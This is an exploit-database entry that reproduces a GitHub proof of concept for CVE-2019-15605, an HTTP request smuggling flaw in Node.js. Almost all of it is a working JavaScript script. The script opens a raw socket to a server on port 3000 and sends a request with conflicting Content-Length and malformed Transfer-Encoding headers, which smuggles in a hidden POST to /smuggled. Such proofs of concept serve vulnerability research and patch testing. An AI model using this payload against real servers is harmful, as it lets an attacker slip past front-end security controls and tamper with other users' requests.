Exploit databaseDownload repository ZIP
GH-c70cb7f9fba78630969d5b915b254396
0-9194/node-poc-http-smuggling
Sources for CVE-2019-15605
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
0-9194/node-poc-http-smugglingRevision 73b7beed6d9e
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/request.js
JavaScript · 662 bytesconst net = require('net')
const smuggledHttpRequest = `
GET / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: localhost
Connection: keep-alive
Content-Length: 1
Transfer-Encoding: chunked, eee
XPOST /smuggled HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
name='joao'
`;
async function exploit() {
return new Promise((resolve, reject) => {
const clientSmuggled = net.connect(
3000,
() => {
clientSmuggled.end(smuggledHttpRequest.replace(/\n/g, '\r\n'));
});
clientSmuggled.on("data", data => {
console.log(`\n==== (HTTP SMUGGLED) ==== \n${data}`)
resolve()
})
})
}